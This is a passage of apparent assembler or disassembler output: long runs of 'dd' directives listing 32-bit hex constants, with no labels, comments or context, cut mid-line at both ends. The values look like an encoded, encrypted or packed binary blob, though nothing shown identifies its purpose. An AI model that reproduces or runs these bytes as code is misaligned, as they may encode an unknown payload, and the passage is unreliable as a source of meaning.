6AFA3507h, 0F75044FDh, 1810AE15h, 0D658C529h, 0D80B2B31h dd 0A126E941h, 0D3F793EEh, 52E848CDh, 0FB8A46Ch, 6FE5091Bh dd 1284D6Bh, 847E16F7h, 0D7A0BECBh, 0B53870FBh, 0FD6B80FCh dd 39202FE4h, 13BB0EBAh, 4B67BD2Eh, 919AC543h, 2A585B31h dd 0D084E2E2h, 92171320h, 2D7B30E9h, 9981B76h, 45C70308h dd 303B5368h, 7C36CC32h, 0F6496038h, 62A02563h, 5CD12126h dd 3BE0EC1Dh, 149679B7h, 89098D9h, 0C1132967h, 2AE6DFB9h dd 0ECFE8882h, 79EDF42Fh, 0F9F7EB4Ch, 8BE4E7FDh, 225A9EB9h dd 5D77D40Bh, 1010774Dh, 0D9C97D62h, 9B330455h, 33AD0501h dd 0DAC941D8h, 0F3578092h, 120C7AD7h, 42F5FD09h, 13604A25h dd 0BDA64E73h, 87C9DED0h, 7D64DFB9h, 216B1617h, 8F1856ECh dd 0D9EA592Eh, 6A020616h, 1904197h, 9D3F651Ch, 0F1D6EAC0h dd 0AAC2E7C0h, 0C1074548h, 1F1AB826h, 0DCEC3B38h, 1CA00841h dd 8A8D9414h, 8BB4841Bh, 64F558C6h, 0AB4930F1h, 12F3681Ah dd 580E5C00h, 0F826EC05h, 0E930C21Eh, 84CAD48h, 10D3E398h dd 0BE4E58B3h, 9C803223h, 0AE02BB10h, 4A55B279h, 80EDF155h dd 0E9EA87D5h, 93A8E3EEh, 0B29859CAh, 565D7509h, 0B0FD743h dd 4048D88Bh, 548050AAh, 0BB0ED05Dh, 7F9BF08Dh, 0FD1CFD22h dd 284852D3h, 1CA8F08h, 0A423CEBEh, 88D5055h, 544F295Eh dd 11D015ACh, 0B64B324Ch, 621AC9F7h, 711B7D08h, 0AC28CCE8h dd 889F4198h, 742D0821h, 16DC7273h, 51EC1442h, 6B2D3CB1h dd 80F70962h, 0E34E1F0h, 5D099561h, 0CF2601E5h, 0CAD15427h dd 4AB70874h, 0CF895B07h, 0E49CD282h, 1F3D7211h, 9FA8709h dd 8DD1E81Ch, 6D72E3Ch, 0BF2D6683h, 9587A447h, 0DA435F7Bh dd 0A0135C10h, 7172B803h, 0B3D123C7h, 57952AE6h, 35619CFBh dd 406F230Bh, 0E953E064h, 9458BA86h, 319D42EFh, 0E7EC5F05h dd 0F849EF80h, 895F017Ah, 52C62BE8h, 0FB53FAAh, 42133F3Bh dd 0F6E1FB89h, 0C4CCD965h, 6113BC67h, 705352D1h, 0D9EE51BAh dd 93DFF895h, 0F4253F98h, 82311657h, 625561B1h, 9564164h dd 994830BEh, 0E8AB7C87h, 0F15A0501h, 1461CE4Ch, 16D2DA3Ah dd 32F3E84Fh, 0BE01538Bh, 7E69209Ch, 0B850C560h, 0B65C164Eh dd 6D12AF55h, 72A15F17h, 0AF4FB228h, 205F368h, 34593E71h dd 645DAFE9h, 1B6B04B3h, 1D0109A3h, 2A55D22Ah, 0A4D12AE9h dd 0B26B9750h, 0E3B2E472h, 80FB01C4h, 9010CD8Ah, 9EA73F5Bh dd 0E060E90Ch, 0CE3980C8h, 11F69E31h, 169ABECDh, 9C18BD11h dd 66CA0101h, 25563F23h, 9F54D074h, 5C62AD4Eh, 0D1E3C31Eh dd 49238947h, 1492B5D1h, 0D6874281h, 7699E642h, 6EE162F4h dd 6F265419h, 0C9BEB65Ah, 0BF454CDh, 0E55F5E54h, 0A4F61395h dd 7D2CEF0Eh, 33B7D74h, 0CF0F2BC7h, 0F5180568h, 86074A0Dh dd 8831CECh, 0E9141C40h, 0CC86122Dh, 78ED8008h, 0FB22D1Eh dd 1B1CF600h, 0F6EC10CEh, 496AB809h, 2DD4F488h, 0E3096CFAh dd 5776AD69h, 533CF931h, 0EDD45FE1h, 88448480h, 5A921298h dd 16768A28h, 4BAA8968h, 7428D26Bh, 0B02E12E7h, 660C5597h dd 0FE19F8BDh, 6FB23CF5h, 80EB0192h, 3C7C37Dh, 4B985AFCh dd 0E940A304h, 0B3AFFDACh, 3A2D510Bh, 0AAC08331h, 0D8C68D80h dd 1BA8A9Ch, 0FAA9F34Eh dd 0C40AE983h, 61EB293Fh, 26506803h, 0F237CC2Eh, 572D7C72h dd 0C100F559h, 3EAF51A0h, 0ED0E4960h, 4E308267h, 9E1A8353h dd 454FF0C0h, 0C51529Fh, 826D80F5h, 0CE05B922h, 21424A6Ah dd 1E5DBB0h, 0FEC58103h, 2F4B674Dh, 34896FACh, 5B5AE8D8h dd 0D7C44AF2h, 5E3DFB0Ch, 81A5D579h, 15698CCh, 5361EB80h dd 138B0893h, 2A332D8Bh, 70C9E0A1h, 42090B3Fh, 53066582h dd 3C5CB41h, 955B081h, 0C156039h, 70C781Ch, 484BDA80h dd 0F10283B6h, 6A7A6BFAh, 51BF5CE4h, 0EFBA012Ah, 2B5D1E28h dd 0FC1886E2h, 0D10114EEh, 0BCE9D0C9h, 8AF59E34h, 24AEFA2h dd 0BE830C2h, 0F3818942h, 28C163F8h, 156016F7h, 0FA2974AEh dd 4053732Ch, 7AE00566h, 0BA41E03Ah, 675197DFh, 0FDDADF09h dd 3E0CA690h, 0F6E2E394h, 0A79FF4E1h, 0F4CFEE5Bh, 19D33097h dd 0F32DF5h, 0EA09CEF0h, 0F7F2875Dh, 3408DE6Ah, 62717D05h dd 0C17ACD06h, 0F09D85h, 952F5D0Bh, 9789660Ah, 708857Eh dd 45512ECh, 826FCF46h, 205E4126h, 51C64B12h, 0ABF9EFA6h dd 979D8A24h, 0F93A6D0h, 8502512Ch, 4025B90Ch, 40FC5B5h dd 98685861h, 0C3C0BC75h, 9C83601Dh, 3602C7BEh, 0B8230DEh dd 1E015042h, 6DC3FBE9h, 0A6E9D2B2h, 0AD2D7584h, 0D0F2D2F4h dd 0D680F27h, 780E36C2h, 0D201434Eh, 3E1F0101h, 657058A8h dd 0C6FA92D2h, 5373EE74h, 0EF3AC760h, 1392428Dh, 0AAFE095Fh dd 48F6DD60h, 0ADFC047Ah, 10D535E9h, 0B0673FBAh, 62C20D49h dd 6B1848E8h, 2B1E2E05h, 10C7EB75h, 0B495953h, 0C555160Ch dd 90EAE604h, 0F3F4077h, 0DA872906h, 0C008D3F7h, 36D8DBC6h dd 0D71E210Eh, 703828E9h, 0FA75F69Dh, 1374F97Dh, 175496Bh dd 0BE1D3C5Fh, 9802C273h, 0AD6AE5FDh, 0D60BF7D1h, 8BCB2EC7h dd 0DA4F4358h, 2F025C42h, 0C6CB6D56h, 82C18070h, 0F34AA4CFh dd 75C27BC1h, 0C42652D3h, 7E38998Bh, 0A5F7C983h, 0C2F45EF7h dd 0E8965EADh, 0C8C6C4E7h, 2CB6802h, 0AC25EA4Ch, 91B257D6h dd 2E974C60h, 756B75BBh, 34128E9Ch, 0C404EC32h, 0EA88D1AEh dd 567D2C20h, 1BF100B9h, 9F23D42h, 0BF26CB7Dh, 5759D151h dd 155BF66Ah, 5845C76Eh, 116D0EFFh, 0D00D671Fh, 5439450h dd 26F112B1h, 0BFAF8596h, 2FAA7712h, 0FF586538h, 22B5954Bh dd 6CEA01DFh, 0C027A41Bh, 6E3E0580h, 840B250Ah, 852C174Ch dd 0AD1273AFh, 5304CAFAh, 74BB93D0h, 5729B4C8h, 123F9541h dd 1EFB4E7h, 2BB9CD51h, 9E53C012h, 62C39BEEh, 6A6CE90Dh dd 1027C41h, 15776DF3h, 34F56042h, 2EC48A04h, 8FCDF89h dd 6F4EC20Eh, 0D0D0FF32h, 12CC5F3Fh, 4E45E917h, 93CB4153h dd 0F7F4EA57h, 5C499FF9h, 0B954C586h, 8BBA978Ah, 14FB40E1h dd 4D604900h, 9FB6F0BFh, 9C0169B2h, 4397D100h, 0F8C17AA9h dd 0D5E344Dh, 54EC2A21h, 92E05482h, 0AFA14F67h, 26B4CC67h dd 1E2FBFF1h, 6830C514h, 0B382BA15h, 498E8F43h, 0C5D02C3h dd 0F5680274h, 10D277CBh, 0D9296748h, 0E998F19Fh, 0FFDBE184h dd 64925937h, 70595E4Fh, 924AC180h, 4731CCEDh, 383872Eh dd 5517B15Bh, 78BE8785h, 0F8BAC61Bh, 0AE25C0E9h, 5503CD98h dd 13E5D52h, 9B4010CFh, 7A5A2DB4h, 2C0B9DC2h, 5D4FEEF4h dd 0E3DDA496h, 66FDE575h, 8003C72Ch, 0DBF676CBh, 80EEE3A9h dd 2865C30Bh, 71D05BD9h, 0B894EE9h, 12FF2130h, 0D061D6AAh dd 8182C4D5h, 438E685Dh, 0EF11C507h, 0E58F0015h, 0C66F98AFh dd 0D0C19341h, 0EA47D8E9h, 1EDB50B3h, 39F18816h, 0C73B8AD1h dd 98F99D7h, 5B39B694h, 2F6C294Eh, 3B1F245h, 63E9CA02h dd 0FEC0A922h, 0BB7B4574h, 31137E8Ah, 780900C3h, 539BD08h dd 0D18F9ABEh, 4DC8EEE0h, 2B6408C1h, 4CB0B2D4h, 7D25B25Ch dd 1ABF6A00h, 4A5A4855h, 0B44A83ACh, 2C142A9Ah, 1E0870DAh dd 725C01C5h, 0D9CD4CD3h, 84100C06h, 2DE8B31Ch, 0E906F1CDh dd 2CEF99A5h, 0C50F73DDh, 0F5B657B2h, 507CE531h, 736DBE83h dd 0F21B282Fh, 38EC9F67h, 0C8B8E917h, 9C395E4h, 1C71F42h dd 0AF93C81h, 0C00CBBFh, 10093B43h, 0BEA369E9h, 0D1256F53h dd 9F6BF3DCh, 5A21418Bh, 65E8000Ch, 0E0C17BCEh, 0B2030504h dd 2D09AC0Eh, 9BDF8196h, 31BFB03Eh, 0C38ACD52h, 0D8C7E9h dd 709DBDE6h, 554D3BD2h, 0DDF0229Fh, 95350068h, 0DFCCE3Dh dd 83D2EE6h, 7EFB0E10h, 12EF361Ah, 24E8AAAh, 0E742B2BAh dd 1ADA753Ah, 8060264h, 0F0FB050Bh, 0AB0DFE13h, 957AF415h dd 1F81AB07h, 0AC6EC9ECh, 9241C42Eh, 4921A6FEh, 8389504Dh dd 2D00AC9Ch, 5926769Dh, 18750405h, 0A15A2820h, 0CFA01C4h dd 0C4033C67h, 90ECD77h, 5CA371D3h, 8BEE051Ch, 5C538510h dd 0E8D025BEh, 0EE49A50Fh, 138BD155h, 0EEFEC45Dh, 0E909698Eh dd 18579846h, 0BC99B420h, 666D88D7h, 4460F2C0h, 60849836h dd 5EEDA584h, 3B7BAD73h, 0CD1D2237h, 81D74D6Eh, 0CB595EF0h dd 5EF3E249h, 1271CA1Fh, 53F54E98h, 1A6CC830h, 1FACAEB1h dd 0DD638FD6h, 0FA554B41h, 0CD3EF86Dh, 75ED6A60h, 5345D116h dd 1153BA39h, 5267B9E6h, 5A40E252h, 0D63181A2h, 68A700FFh dd 794ABB60h, 65D0B787h, 70921474h, 0A11EB701h, 5EDC17Ch dd 0E9020685h, 68D540FAh, 7DC719C5h, 0F305F7Bh, 0E18136AAh dd 14121660h, 64B8032Fh, 0BC8D0402h, 4E0C58E7h, 31BEF980h dd 2F4B2558h, 0E60702D0h, 0C10BEE43h, 8E4E0452h, 2F6939D8h dd 0A46251E2h, 0AA601287h, 0A3EE0C65h, 42A4C1Dh, 741C603Bh dd 84069FDh, 58E9175Ah, 2990BECAh, 26780CC6h, 106506h dd 71D7291Ah, 3C014135h, 0E825669Fh, 788CBB12h, 0C2E9956Dh dd 9160548h, 0D4D1018Ah, 9FE9CFFFh, 0E2EB98DDh, 685C807Ah dd 2E447FEBh, 0F413E43Ah, 451273A8h, 0DF17E029h, 0FBA5BE0h dd 76E20AF3h, 0CDC24C45h, 0AD3E4210h, 0C1FE5902h, 197C1743h dd 262D6809h, 0D6698156h, 0B1F749F0h, 15F5EA79h, 0D43658FFh dd 0B99EAC15h, 371177Bh, 9686B256h, 6A478903h, 60E81869h dd 57418579h, 0F2C0BF05h, 92BFF62Bh, 0CE569D50h, 7CD9870Ch dd 50FC136Eh, 914DC518h, 928876C2h, 65AC2945h, 7055E404h dd 6CAA0068h, 1C522C4Dh, 7E5E5A56h, 0A11EBD15h, 0C9A37F13h dd 0B29E5746h, 7E0BD7E1h, 0D24409F4h, 0BD7CA2Bh, 1E10D773h dd 14B7DEBBh, 0AC681892h, 23E26177h, 9D5FB380h, 4427E070h dd 696FFBBEh, 689768DFh, 0D90A5F5Dh, 0F8AFC5Dh, 0BA539897h dd 7EF49801h, 1D985F44h, 6EEC625h, 892FBE51h, 4A985DD8h dd 794C6347h, 89D0487Ch, 0F8DA9205h, 0FD1A208Dh, 39527895h dd 5093442Ch, 548AAF54h, 4E278B5Ah, 0E909A0CAh, 7C20C13Ch dd 0DD5FC9EFh, 0E73C0998h, 11DF307h, 0F4A50D08h, 13D880AAh dd 0ABE9AAF9h, 69AADD4Fh, 0E40F3249h, 22C07B8h, 0D1D0854h dd 8B00AE24h, 494CE048h, 73D97EF7h, 55249D26h, 47F8FCABh dd 4FD2D52Fh, 0DC112DD1h, 0C6F03503h, 42B53B7Bh, 34B9D83Dh dd 0EB63C152h, 8C80428Dh, 37407FD3h, 8212E981h, 38C0A013h dd 2C7149C9h, 1701412Eh, 546F201h, 31164AC8h, 85DA2F83h dd 0D858B6AAh, 90D8F6A7h, 4231D6F5h, 5FCC6806h, 8FE768D9h dd 7CC90A7Ah, 9578E472h, 728AAFD3h, 79C1B025h, 94806A5Eh dd 0B0AC4243h, 0CAA82D7Dh, 734B4971h, 9B820840h, 0FCA42917h dd 0F0480505h, 120A8B6Bh, 358CF0E9h, 51213812h, 60E8290Fh dd 0F376790Dh, 12AEF274h dd 0FF807B3Ah, 0ABE9AF0Fh, 8CEB31A6h, 0C22102D6h, 0F1114C75h dd 0E90D4E79h, 3B8B6970h, 5FFC8BB0h, 5628BF9Ah, 5A549D02h dd 15FC55C5h, 0BF6E2A4h, 0C25F5D57h, 201477BCh, 0CF51E913h dd 2D27F0ADh, 912D5FE6h, 3D9AD394h, 0A8D38616h, 0FAF7F0B1h dd 26B23E66h, 2E89CF3Bh, 0C700348Fh, 0C80C7FF6h, 0E9F98904h dd 318821DCh, 0EF47176Fh, 5309AA2Dh, 15B3C6DAh, 491CD368h dd 4B9EEA40h, 4E2CA2D0h, 0A9D64081h, 76782840h, 0E02E5A75h dd 592F272Eh, 0C7097Fh, 804DE4FEh, 0A4F2974Bh, 382FE504h dd 0E0FE6CD0h, 3E05E21Dh, 0E3E99103h, 755CE992h, 782DA6D9h dd 503EB532h, 950BE934h, 0B2CD93A0h, 0A4595EB6h, 5A41B877h dd 0C8453331h, 0C1D054FFh, 7EDCF55Fh, 9D45CACh, 8F708C20h dd 0FCFABEEh, 2D0DA658h, 327BE6Fh, 89927F0Ch, 255FF889h dd 0F60FA59h, 0B18B4791h, 4B6BC5F9h, 585EC7BAh, 0D00E1832h dd 68530363h, 0B7E50B6h, 0E54F42DBh, 0B2C0CBC4h, 4F199B4Fh dd 1F385F1h, 0C839CABEh, 0EEC2B7Ch, 0F0E9EB05h, 54CF49C4h dd 0D70000FEh, 814E6251h, 50ED09CAh, 11D71DD1h, 0E9FC4AA9h dd 0FC8F5F6Fh, 2F878876h, 5B2F20FDh, 9705EBC1h, 1752C801h dd 70CBD50h, 0E9224E73h, 5818A409h, 6809E8CBh, 0BC40C6Bh dd 126D5548h, 2D308D36h, 3962CB81h, 0F7810F0Eh, 0E7E943D3h dd 4D22A5B6h, 0AE81240Eh, 87073410h, 802303E6h, 524D9674h dd 2FD90CEh, 782C5E74h, 758E8050h, 0B901B631h, 0B85B00B8h dd 88E9B558h, 1815E14Dh, 0D0A8BAEh, 1D4D0704h, 4F490563h dd 2CD73D69h, 0E6154CB8h, 0AA735A51h, 0FE12A432h, 0C39D0D7Ah dd 8A4DB056h, 4FED2CAEh, 0E20DC739h, 6B4C8E45h, 0AC90E8F8h dd 2E0C6812h, 0FB336305h, 1ACFE2EFh, 0EC109080h, 53C32435h dd 59684C86h, 3C57C4Dh, 62CFDC1h, 0AD180236h, 5560ACC4h dd 0B1FB0140h, 0E502EB91h, 0D7988FE7h, 6C253D50h, 539C7594h dd 5B8F6525h, 8F546B45h, 892D8958h, 0BAF53EEBh, 39D8C23Fh dd 310A11FEh, 89436BD5h, 9F90F9E8h, 0DBC28981h, 0EDBE9DC7h dd 0C56780Ch, 65AF680h, 5CDF90E6h, 55B2E51Fh, 3B9FC978h dd 0B3E617A0h, 3B0829C4h, 53A86816h, 7BF589F2h, 1F688484h dd 0BB30BA0Fh, 5B5916E2h, 0C5451C50h, 0BDA2E9CFh, 0D0EE30C8h dd 49344AF6h, 7101AC27h, 11B2312h, 0FF61F3h, 0B557E908h dd 0F150D492h, 0D1AD0E8h, 770C15A1h, 0EC5F75CAh, 2F5FB1Fh dd 96F0F22Ah, 3ECC92AFh, 0FC90920h, 0DA543584h, 0E93C1210h dd 8BE1255Dh, 58BAF4D2h, 0C182C914h, 0B4C13F6Eh, 5EF155E5h dd 0FA98123Bh, 1030C839h, 0B0D0210h, 0C8E94F15h, 2C0B8D5Eh dd 0C07F554h, 0EE9FB4EAh, 0F038FCB4h, 0EC360DEh, 105D829h dd 37AA7E1Bh, 6A5C26Eh, 0A745B52h, 5429737Ch, 0DCADC77Ch dd 0D4E350C9h, 85DFFCB7h, 0E86F7F2Ah, 84AF4A9Dh, 427A8653h dd 0B381EC97h, 2FE91E8Dh, 0C6801001h, 12B82F45h, 4E06CB75h dd 4B2A404h, 78821CB5h, 0B74AA714h, 0FCFA88E2h, 7FFE8830h dd 0CB125612h, 12CCE3AAh, 0F9C9B952h, 2E68F224h, 0C225012Bh dd 0B347Ah, 2843050Ch, 218B049h, 313914D3h, 89F5D7E9h dd 3045DD9Bh, 39893608h, 5AE7EFA6h, 5BE95C68h, 0E09564BAh dd 2F749B04h, 0AE0E5E3Bh, 9B1C21Fh, 916259C8h, 23D58B82h dd 0DC816BD1h, 214BBD15h, 40B89460h, 669B5ED1h, 140B5188h dd 0AE02D066h, 0C0B70F6Eh, 57082B53h, 98DA20CDh, 0DA92C260h dd 1A401B4Dh, 1EC71637h, 8C82DDBBh, 24DC33h, 0FCF00335h dd 0C24A01D6h, 0B80590BAh, 4B121F69h, 0DBFD0938h, 0E22DC097h dd 1E004072h, 0F3D534BFh, 4B62E910h, 21A7893Ch, 308938CDh dd 3F1E3258h, 0FD704BFAh, 5201737Eh, 0E92D311Fh, 917FABA9h dd 3D606C2h, 7D09E25Ah, 44F4D610h, 0C44FEF94h, 16560868h dd 0D11126Fh, 6C15CC9Dh, 51402754h, 2FF02596h, 78EC3F16h dd 1A86C4FFh, 295F0C08h, 0B58DD806h, 0E9505971h, 0C05640F7h dd 6C608F8h, 0E01F6807h, 8A34CA28h, 0C8FE609Dh, 5326EF2Ch dd 2709F488h, 0D13FE830h, 42CF256Eh, 0CD0FB150h, 0B2169719h dd 879151C3h, 0FA5D3C83h, 910788EDh, 0F6B01A09h, 0B26850D0h dd 70A77562h, 28A0DF9Bh, 20AF59E2h, 0B98AC690h, 0D5BE13D7h dd 135DE2AFh, 0ABCCB40Fh, 6647DA61h, 5D766977h, 0BEFB27Eh dd 0F304EF83h, 0E9540396h, 0BE842FFAh, 0D19378B2h, 17CF3A02h dd 40877B63h, 4BEFF866h, 0A060EFBDh, 0C6C49B8h, 4DBA3238h dd 0C24D310Bh, 0D501C54Bh, 3B3E29AEh, 6C3E6829h, 0EB800CF9h dd 0CA01824Ch, 60C39369h, 4760AAABh, 1029F717h, 206B7B58h dd 0BE058C85h, 0FA67F0F5h, 4A47B6FEh, 2F6887F0h, 161828FFh dd 18B5A010h, 80BDC798h, 4011568h, 405867ADh, 0F93122Dh dd 1CA0589h, 0D374D8FAh, 0CC600AEEh, 513AE59Bh, 289BDA8h dd 4978015Fh, 3341EB89h, 0BF0086E8h, 9A38552Bh, 59C4CB47h dd 1089EB80h, 814B01F7h, 5C3F38E6h, 0A7A12074h, 6D9D0812h dd 13639914h, 38526656h, 4ED28A21h, 64077236h, 0D56AEE46h dd 0D413FABDh, 52CF06ECh, 622B6E89h, 4D58ED7Ch, 0E30DC0A3h dd 581CC380h, 0CB1608CFh, 0D58B55DDh, 0FEFD9677h, 59864955h dd 54E4F202h, 71FD28A9h, 172962ECh, 96BDC898h, 1B9D3812h dd 0D3D2B607h, 0E9E20D87h, 881D45Dh, 0C02F46C0h, 2A5C3578h dd 955F1EC5h, 0B2A54BEDh, 1727594h, 0BD98E926h, 0BC307DAFh dd 689FA43Ah, 2CE0B918h, 9EA426Bh, 55FED3CFh, 1940D8C2h dd 43FCE450h, 8F62659Fh, 19E75657h, 0E94A2066h, 2F9F45B5h dd 0C251C0F5h, 0BF22174h, 2DA685Eh, 67B5E5B0h, 705B8B27h dd 0F8E91717h, 0E238F426h, 279B664Eh, 9ED6E909h, 0A86E4D5h dd 0C4128C13h, 510A0EB6h, 1FF439EBh, 7E9B6E21h, 5ECEF1A3h dd 4C5E73Eh, 8C14C9B9h, 80504C87h, 2D42936Fh, 0D9C2B6E9h dd 5064F179h, 0E90A00DBh, 971D9808h, 0A46FB85Fh, 5E3BCCBEh dd 93F30126h, 97F8B315h, 0E9F73631h, 80566670h, 9FA0F988h dd 5E9D9573h, 26A82B2h, 0F580281Dh, 46BF079Eh, 0E9E5C0B7h dd 40CA5EF0h, 52BAF35h, 9B8436Fh, 2804350Bh, 20852C19h dd 1A41704Dh, 6186E91Bh, 2AC3D880h, 7FB02861h, 34403B90h dd 74D77231h, 987BE9FAh, 0CF527E45h, 27573D67h, 0BFFFD029h dd 2925D067h, 200472F9h, 5A4FA0CAh, 27B816B0h, 66D44BB6h dd 48B75300h, 0B594CF80h, 4C3087D8h, 0DDC74B32h, 62B8243Dh dd 2D58092Bh, 0C4411Ah, 4A3DD138h, 1019DABFh, 0C84AD8D9h dd 0F167106h, 35094BF0h, 0F096E423h, 0EF2AD3F8h, 194CF19Ah dd 0BE8853B5h, 5B53114Bh, 0CE4C30FFh, 4F09F318h, 0FA2CE6E9h dd 13A82797h, 333089DBh, 730B5305h, 0CB30C810h, 0E91DC2Dh dd 0F766FFEFh, 0F5700615h, 180461BCh, 1DEE4C04h, 0C4783B29h dd 0C9F460h, 668585Bh, 0EA1A9545h, 1446875h, 0C1E935CAh dd 8907C2CFh, 0A78145F5h, 0F72D89D8h, 802F42DDh, 0D66D4031h dd 0F75B926Ch, 59099CD4h, 0B80E38DDh, 0E5F46FFEh, 0DC491F05h dd 55D4BF30h, 965D0809h, 6D397C7h, 19907F4Bh, 0CD2FE9E1h dd 0BD31738Ch, 16F6369Ah, 2E59CC99h, 4ACBF35Fh, 0C88AF91Bh dd 0A4E9043Bh, 0AC31AEBAh, 2058D25h, 362E4AB6h, 880487Ah dd 5903C829h, 5E5B055Dh, 8F01DD3Fh, 6AC57A2Bh, 0A518413Bh dd 7201A617h, 95E9C342h, 0F0B64EB8h, 101F6C9Bh, 0C5097688h dd 2B4A10AFh, 0A2510F90h dd 8EABD031h, 0E0770A42h, 91A716B0h, 0BA51495Eh, 734F644Ah dd 2CD00D07h, 502E0049h, 255116B4h, 5A4037E9h, 0F74CE6D1h dd 4ACE1811h, 3D1765FFh, 0E72C3C7Fh, 475DA507h, 7B3442D7h dd 0B704A3E4h, 560EE31Bh, 7D9199BBh, 0CBBA6068h, 9F4BC70Bh dd 5201E5D2h, 5671E606h, 0C66C68E9h, 0F64C873Bh, 6013C838h dd 0AC570B1Eh, 39E56455h, 402538A1h, 0C596B15Ch, 0B4EBEF84h dd 825B4494h, 0A3AA72EAh, 7D1A09FDh, 0D1BF1566h, 5D88138Eh dd 532A922Ah, 0B11AA843h, 0ED68BBA2h, 71FDEFC0h, 8BBF6FDEh dd 0EDEC5DEEh, 0FA8D3C96h, 0E32B3881h, 89F8D3DEh, 0BC2BE58Dh dd 4B0D27A7h, 220882B7h, 242CD28Bh, 20041F65h, 0E4B3B30h dd 0FCBACACh, 5625E2DEh, 5456781Eh, 5589149Eh, 7A167461h dd 0CF168AF6h, 0B2A557B8h, 0AAF992DCh, 0B2576882h, 37976AE0h dd 259710ACh, 0D7EEAC22h, 0FE8DC46Ch, 89DF48E2h, 387FA7A6h dd 142C700h, 0E9603630h, 0DE6A3109h, 0F0EA92F7h, 768159Ch dd 407C9B10h, 44C9F7C5h, 28AFF75Eh, 1068D801h, 0C5FE680Bh dd 0B2CE1377h, 972DF35Fh, 345A76ECh, 0CBB0EEDDh, 4C705EFEh dd 0E92F2081h, 0EDB29330h, 1624DDEEh, 0BF5B5C29h, 7CA05B40h dd 0BF587A65h, 73BDFE46h, 227F2D59h, 980CC3Ah, 6806775Ch dd 2F670354h, 4C593E63h, 0AD664DCAh, 43B00F3Fh, 6024C288h dd 1EC88B9h, 0F4FB323Dh, 0B08C659Fh, 0A3FAC3ACh, 9B0EF4Eh dd 0DDCC4F79h, 6822ED5Eh, 9DAF4AB1h, 47983BECh, 4D3009BAh dd 0AB7E431Eh, 67C0D792h, 954CBC68h, 30FEA2ECh, 0EFCC7EBDh dd 42AB0369h, 1F79157Dh, 0FE712F2Dh, 45EEC212h, 1555FEEh dd 0EA38BED8h, 0F37F6042h, 6A0CFC16h, 9518E41h, 5617E1Eh dd 0B53D3920h, 25986F1Bh, 0D7482617h, 0E2E34AFDh, 48170258h dd 7FE9EE0h, 5FC9805Ch, 861EE930h, 0D3F60FD9h, 0D00B5066h dd 0BD008AD2h, 1F035A30h, 72857BBBh, 0C0F89771h, 0BDA5D5Dh dd 0B00A4868h, 3E29A56Bh, 7D977020h, 0C720603Bh, 174A8359h dd 450E1A0h, 3163666Eh, 0CD60BFD1h, 40358805h, 2D50C8D9h dd 0E92F5907h, 9E341E3h, 0AB8CC53Ah, 0F65BC9F6h, 0E9D20461h dd 0BF00712Bh, 69014061h, 22842D1Fh, 0F7E81752h, 0EC050741h dd 0F59E0E8h, 405DD4C5h, 2858C59Eh, 663E59E8h, 7A122F68h dd 9738EE4Eh, 0DB777C62h, 2E941CFh, 0DBD72B05h, 843F0559h dd 8FBBA412h, 7F0E17EEh, 5A36C8AAh, 0F1F142E3h, 52894C45h dd 2E93D18Ch, 0D8B55844h, 0E0E58026h, 0E6ABA909h, 8F742FDDh dd 558C92D7h, 0DDE90E6Bh, 9E72221Bh, 0FEC0F5D6h, 0F832EDBEh dd 0B7D49F7Eh, 0E9062924h, 2D2AB84Dh, 16552C29h, 78C5059Eh dd 807FB26Ah, 4C766CEBh, 0D8368AC5h, 8B9EF8B9h, 0B19A7EF7h dd 0F7742189h, 0ABCF049h, 5F7A6433h, 8C84D95h, 3D4FE90Ch dd 68583102h, 0F28BD7ACh, 9643B055h, 0B09B5E3Ah, 0C5026E3Bh dd 9AE9FE64h, 7350F259h, 27EF0F04h, 0C70EF728h, 0AFF0E9A5h dd 6DB29130h, 0F8695E68h, 9CB3C087h, 0C6AE380h, 0D2F6D386h dd 390C008h, 2A16C3F8h, 8FEBDA28h, 0B1DE405Fh, 86BC314Bh dd 840A6C24h, 0C25CE681h, 585D1532h, 58F80A9Fh, 2D671ABh dd 4FB90790h, 172752F7h, 0BF02F180h, 0F27ED39Dh, 0AEA07C8Dh dd 0A426734Ch, 0CA01522Ah, 5B6F6726h, 9788B96Bh, 5ACC91A5h dd 97495C2Ah, 415B7C3Bh, 0F4321F4Eh, 1E342F7Eh, 0C13FA84h dd 16BE820Ch, 9E1CEA21h, 7D8E58E4h, 90B922C0h, 0F42BDA71h dd 2F5D92EDh, 1845545Ch, 0B00EFC21h, 572C4962h, 0C80114Ch dd 539D595Fh, 0FBD64952h, 2096F8E2h, 79E49DC3h, 0FBBCF34Bh dd 94C45227h, 64030507h, 0D0E25532h, 5A07802Dh, 0E1619068h dd 902DE37Fh, 8DE110EBh, 593C64Dh, 5CF8CE22h, 670D4081h dd 0C3F18165h, 38DC181Dh, 640CC981h, 0CE86365Ah, 241A61E4h dd 5B6CE100h, 0C0E97491h, 0A6E7BD53h, 90125010h, 8DB6ABAAh dd 56C80F1Fh, 68AD425Ch, 86A27F58h, 0C6467DB3h, 902EE892h dd 4E260D60h, 3329303h, 36CAB00Eh, 0BFAB5071h, 440512F2h dd 0C2AF00CFh, 24879FDEh, 8A5FF8D2h, 0E553FD0Ah, 496DCC0Fh dd 1D85FC5Ah, 644F98E7h, 1B0B788Ch, 0D0A0E92Dh, 60D0B7F8h dd 0C679EEEBh, 5F9CA962h, 0F9971166h, 0A5BA12BFh, 7FDD85Ch dd 0C0125125h, 70156825h, 13D6BD3Ch, 9AB951E0h, 8F4285Ch dd 0AC4A30D8h, 65BEC245h, 3A98BB90h, 8B4D567Eh, 2E257561h dd 50327E7Ch, 93BC577Eh, 55B18C62h, 9BC9261Bh, 5EEA04C2h dd 320C49FFh, 0B1BF2F44h, 4181A883h, 257473BAh, 34C83E70h dd 503C9010h, 17CFC74Dh, 0FA4F576Dh, 0BED1C04Ah, 5BD98984h dd 21162AF3h, 3B90CDC8h, 919F3191h, 33545501h, 0F7F6D6EAh dd 0B63FE9C2h, 2F7CF17Dh, 0ECB06E4Fh, 2416AFBAh, 1A231BB3h dd 0F17D0DABh, 9EE961D1h, 17156D8Fh, 1C065751h, 12148E21h dd 0CAB0EB80h, 0D8200056h, 5E95B66h, 360999Fh, 71FA3AC6h dd 0BB99C3D9h, 4C941517h, 0D2474ACDh, 0B5020CCDh, 0C3124046h dd 96A3025h, 0B1F0ACD6h, 83972B77h, 5E8B3E53h, 14F8323Dh dd 496700Eh, 0ABAEE3C3h, 1194E437h, 3E024D09h, 0D709930Eh dd 156D6580h, 0EFEC51E2h, 72065D0Bh, 0E96E8231h, 4FACD818h dd 8422A65Eh, 0B300DBE2h, 8E3C077h, 0B6F38000h, 0D3F6CBFEh dd 0B72D26E9h, 0FC0D9602h, 0C956DFA3h, 0E2BD5CC0h, 1C5317Ch dd 3E9740BCh, 